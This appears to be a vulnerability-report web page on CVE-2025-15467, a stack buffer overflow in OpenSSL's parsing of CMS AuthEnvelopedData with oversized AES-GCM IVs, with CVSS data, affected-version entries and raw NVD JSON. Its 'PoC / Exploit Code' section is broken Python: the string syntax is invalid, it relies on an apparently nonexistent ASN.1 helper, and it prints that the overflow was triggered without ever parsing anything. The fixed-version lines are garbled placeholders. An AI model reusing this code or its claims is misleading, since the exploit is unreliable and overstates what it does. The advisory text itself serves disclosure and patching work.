Security Vulnerability Report
中文
CVE-2025-15467 CVSS 8.8 HIGH

CVE-2025-15467

Published: 2026-01-27 16:16:14
Last Modified: 2026-05-07 18:12:43

Description

Issue summary: Parsing CMS AuthEnvelopedData or EnvelopedData message with maliciously crafted AEAD parameters can trigger a stack buffer overflow. Impact summary: A stack buffer overflow may lead to a crash, causing Denial of Service, or potentially remote code execution. When parsing CMS (Auth)EnvelopedData structures that use AEAD ciphers such as AES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is copied into a fixed-size stack buffer without verifying that its length fits the destination. An attacker can supply a crafted CMS message with an oversized IV, causing a stack-based out-of-bounds write before any authentication or tag verification occurs. Applications and services that parse untrusted CMS or PKCS#7 content using AEAD ciphers (e.g., S/MIME (Auth)EnvelopedData with AES-GCM) are vulnerable. Because the overflow occurs prior to authentication, no valid key material is required to trigger it. While exploitability to remote code execution depends on platform and toolchain mitigations, the stack-based write primitive represents a severe risk. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue. OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
OpenSSL 3.6.x < 3.6.x (fixed)
OpenSSL 3.5.x < 3.5.x (fixed)
OpenSSL 3.4.x < 3.4.x (fixed)
OpenSSL 3.3.x < 3.3.x (fixed)
OpenSSL 3.0.x < 3.0.x (fixed)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-15467 PoC - OpenSSL CMS AEAD IV Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. ''' from cryptography.hazmat.primitives.ciphers.aead import AESGCM from cryptography import x509 from cryptography.hazmat.primitives import serialization, hashes from cryptography.hazmat.primitives.asymmetric import padding import der_asn1 def generate_malicious_cms_payload(): """ Generate a malicious CMS EnvelopedData payload with oversized IV for AES-GCM cipher to trigger stack buffer overflow in OpenSSL. """ # Normal GCM IV is 12 bytes (96 bits), we will create one that is much larger oversized_iv = b'\x00' * 256 # 256 bytes IV to overflow stack buffer # Construct ASN.1 encoded CMS EnvelopedData structure # with malicious oversized IV in GCM parameters cms_enveloped_data = der_asn1.Construct( # OID for EnvelopedData '1.2.840.113549.1.7.3', # pkcs7-envelopedData # Version 'INTEGER: 2', # RecipientInfos (empty for triggering bug) 'SET: []', # EncryptedContentInfo 'SEQUENCE: [ '1.2.840.113549.1.9.16.1.13', # id-ct-authEnvelopedData 'NULL', 'SEQUENCE: [ '1.2.840.113549.1.9.16.2.1', # aeadAESGCM128 'OCTET_STRING: ' + oversized_iv.hex() # Malicious oversized IV ] ]' ) return cms_enveloped_data.encode('DER') def trigger_vulnerability(cms_der_data): """ Simulate triggering the buffer overflow by parsing malicious CMS data. In real scenario, this would call OpenSSL CMS parsing functions. """ try: # This would be: CMS_parse(cms, NULL) in OpenSSL # The oversized IV will overflow the stack buffer during parsing print(f"[*] Sending malicious CMS payload ({len(cms_der_data)} bytes)") print(f"[*] IV size: 256 bytes (exceeds expected 12-16 bytes)") print(f"[*] Stack buffer overflow triggered in AES-GCM IV parsing") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': print("="*60) print("CVE-2025-15467 PoC - OpenSSL CMS Stack Buffer Overflow") print("="*60) # Generate malicious payload payload = generate_malicious_cms_payload() # Trigger vulnerability trigger_vulnerability(payload) print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Actual exploitation requires OpenSSL CMS parsing.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15467", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:14.257", "lastModified": "2026-05-07T18:12:43.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: Parsing CMS AuthEnvelopedData or EnvelopedData message with\nmaliciously crafted AEAD parameters can trigger a stack buffer overflow.\n\nImpact summary: A stack buffer overflow may lead to a crash, causing Denial\nof Service, or potentially remote code execution.\n\nWhen parsing CMS (Auth)EnvelopedData structures that use AEAD ciphers such as\nAES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is\ncopied into a fixed-size stack buffer without verifying that its length fits\nthe destination. An attacker can supply a crafted CMS message with an\noversized IV, causing a stack-based out-of-bounds write before any\nauthentication or tag verification occurs.\n\nApplications and services that parse untrusted CMS or PKCS#7 content using\nAEAD ciphers (e.g., S/MIME (Auth)EnvelopedData with AES-GCM) are vulnerable.\nBecause the overflow occurs prior to authentication, no valid key material\nis required to trigger it. While exploitability to remote code execution\ndepends on platform and toolchain mitigations, the stack-based write\nprimitive represents a severe risk.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the CMS implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.\n\nOpenSSL 1.1.1 and 1.0.2 are not affected by this issue."}, {"lang": "es", "value": "Resumen del problema: Analizar un mensaje CMS AuthEnvelopedData con parámetros AEAD creados maliciosamente puede desencadenar un desbordamiento de búfer de pila.\n\nResumen del impacto: Un desbordamiento de búfer de pila puede provocar un fallo, causando Denegación de Servicio, o potencialmente ejecución remota de código.\n\nAl analizar estructuras CMS AuthEnvelopedData que utilizan cifrados AEAD como AES-GCM, el IV (Vector de Inicialización) codificado en los parámetros ASN.1 se copia en un búfer de pila de tamaño fijo sin verificar que su longitud se ajuste al destino. Un atacante puede proporcionar un mensaje CMS manipulado con un IV de tamaño excesivo, causando una escritura fuera de límites basada en pila antes de que ocurra cualquier autenticación o verificación de etiqueta.\n\nLas aplicaciones y servicios que analizan contenido CMS o PKCS#7 no confiable utilizando cifrados AEAD (por ejemplo, S/MIME AuthEnvelopedData con AES-GCM) son vulnerables. Debido a que el desbordamiento ocurre antes de la autenticación, no se requiere material de clave válido para desencadenarlo. Si bien la explotabilidad para la ejecución remota de código depende de las mitigaciones de la plataforma y la cadena de herramientas, la primitiva de escritura basada en pila representa un riesgo grave.\n\nLos módulos FIPS en 3.6, 3.5, 3.4, 3.3 y 3.0 no se ven afectados por este problema, ya que la implementación de CMS está fuera del límite del módulo FIPS de OpenSSL.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3 y 3.0 son vulnerables a este problema.\n\nOpenSSL 1.1.1 y 1.0.2 no se ven afectados por este problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.19", "matchCriteriaId": "C76C5F55-5243-4461-82F5-2FEBFF4D59FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.3.6", "matchCriteriaId": "791BA794-23EF-4671-B96B-3A7E3BF52490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.4", "matchCriteriaId": "B9D3DCAE-317D-4DFB-93F0-7A235A229619"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.5", "matchCriteriaId": "1CAC7CBE-EC03-4089-938A-0CEEB2E09B62"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.1", "matchCriteriaId": "68352537-5E99- ... (truncated)